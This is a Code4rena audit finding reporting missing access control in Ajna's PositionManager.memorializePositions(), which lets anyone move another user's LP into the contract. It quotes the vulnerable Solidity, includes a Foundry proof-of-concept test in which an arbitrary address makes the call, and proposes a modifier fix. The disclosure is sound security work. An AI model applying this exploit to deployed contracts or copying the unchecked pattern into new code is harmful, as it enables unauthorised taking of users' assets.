Anyone can call `memorializePositions()` on behalf of other user's position due to lack of access control

[code423n4]

Lines of code

https://github.com/code-423n4/2023-05-ajna/blob/main/ajna-core/src/PositionManager.sol#L170-L176

Vulnerability details

Impact

Anyone can memorialize other users' positions with a given NFT and transfer ownership of the LP to the PositionManager contract.

This is an unathorized use of other user assets by any person.

Proof of Concept

This POC shows the lack of access control validation for memorializePositions(), which is in scope for this issue, as well as some additional considerations to check on out of scope resources.

PositionManager::memorializePositions() does not perform any check to see if the user can interact with the pool/token (as other functions do with the mayInteract modifier):

    function memorializePositions(
        MemorializePositionsParams calldata params_
    ) external override {
        EnumerableSet.UintSet storage positionIndex = positionIndexes[params_.tokenId];

        IPool   pool  = IPool(poolKey[params_.tokenId]);
        address owner = ownerOf(params_.tokenId);

Link to code

memorializePositions() calls pool.transferLP, which doesn't validate the owner parameter either:

    pool.transferLP(owner, address(this), params_.indexes);

The base implementation of the abstract contract Pool does not perform any check:

    function transferLP(
        address owner_,
        address newOwner_,
        uint256[] calldata indexes_
    ) external override nonReentrant {
        LPActions.transferLP(
            buckets,
            _lpAllowances,
            approvedTransferors,
            owner_,
            newOwner_,
            indexes_
        );
    }

Link to code

The LPActions library used for transferLP() doesn't perform any check on the ownerAddress_ to see if the msg.sender is allowed to call it:

    function transferLP(
        mapping(uint256 => Bucket) storage buckets_,
        mapping(address => mapping(address => mapping(uint256 => uint256))) storage allowances_,
        mapping(address => mapping(address => bool)) storage approvedTransferors_,
        address ownerAddress_,
        address newOwnerAddress_,
        uint256[] calldata indexes_
    ) external {
        // revert if msg.sender is not the new owner and is not approved as a transferor by the new owner
        if (newOwnerAddress_ != msg.sender && !approvedTransferors_[newOwnerAddress_][msg.sender]) revert TransferorNotApproved();

        // revert if new owner address is the same as old owner address
        if (ownerAddress_ == newOwnerAddress_) revert TransferToSameOwner();

Link to code

Coded POC

This test shows how anyone can call PositionManager::memorializePositions() on behalf of another person. It is based on the test testMemorializePositions(), with the addition of the changePrank(address(666)); line to demonstrate the issue.

Add this test to ajna-core/tests/forge/unit/PositionManager.t.sol and run forge test -m "testMemorializePositions_Anyone":

    function testMemorializePositions_Anyone() external {
        address testAddress = makeAddr("testAddress");
        uint256 mintAmount  = 10000 * 1e18;

        _mintQuoteAndApproveManagerTokens(testAddress, mintAmount);

        // call pool contract directly to add quote tokens
        uint256[] memory indexes = new uint256[](3);
        indexes[0] = 2550;
        indexes[1] = 2551;
        indexes[2] = 2552;

        _addInitialLiquidity({
            from:   testAddress,
            amount: 3_000 * 1e18,
            index:  indexes[0]
        });
        _addInitialLiquidity({
            from:   testAddress,
            amount: 3_000 * 1e18,
            index:  indexes[1]
        });
        _addInitialLiquidity({
            from:   testAddress,
            amount: 3_000 * 1e18,
            index:  indexes[2]
        });

        // mint an NFT to later memorialize existing positions into
        uint256 tokenId = _mintNFT(testAddress, testAddress, address(_pool));
        assertFalse(_positionManager.isIndexInPosition(tokenId, 2550));
        assertFalse(_positionManager.isIndexInPosition(tokenId, 2551));
        assertFalse(_positionManager.isIndexInPosition(tokenId, 2552));

        // construct memorialize params struct
        IPositionManagerOwnerActions.MemorializePositionsParams memory memorializeParams = IPositionManagerOwnerActions.MemorializePositionsParams(
            tokenId, indexes
        );

        // allow position manager to take ownership of the position
        uint256[] memory amounts = new uint256[](3);
        amounts[0] = 3_000 * 1e18;
        amounts[1] = 3_000 * 1e18;
        amounts[2] = 3_000 * 1e18;
        _pool.increaseLPAllowance(address(_positionManager), indexes, amounts);

        // memorialize quote tokens into minted NFT
        vm.expectEmit(true, true, true, true);
        emit TransferLP(testAddress, address(_positionManager), indexes, 9_000 * 1e18);
        vm.expectEmit(true, true, true, true);
        emit MemorializePosition(testAddress, tokenId, indexes);
        changePrank(address(666));   // <========================== @audit can be called by anyone
        _positionManager.memorializePositions(memorializeParams);

        // check memorialization success
        uint256 positionAtPriceOneLP = _positionManager.getLP(tokenId, indexes[0]);
        assertGt(positionAtPriceOneLP, 0);

        // check lps at non added to price
        uint256 positionAtWrongPriceLP = _positionManager.getLP(tokenId, uint256(MAX_BUCKET_INDEX));
        assertEq(positionAtWrongPriceLP, 0);

        assertTrue(_positionManager.isIndexInPosition(tokenId, 2550));
        assertTrue(_positionManager.isIndexInPosition(tokenId, 2551));
        assertTrue(_positionManager.isIndexInPosition(tokenId, 2552));
    }

Tools Used

Manual Review

Recommended Mitigation Steps

Validate that the user can interact with the corresponding pool/token:

    function memorializePositions(
        MemorializePositionsParams calldata params_
-   ) external override {
+   ) external mayInteract(poolKey[params_.tokenId], params_.tokenId) override {

Additionally check if a similar validation should be added to the transferLP() of the library LPActions.sol or the abstract Pool.sol.

Assessed type

Access Control

[c4-judge]

Picodes marked the issue as duplicate of #356

[c4-judge]

Picodes marked the issue as duplicate of #488

[c4-judge]

Picodes marked the issue as satisfactory

[c4-judge]

Picodes marked the issue as partial-50

[c4-judge]

Picodes changed the severity to 3 (High Risk)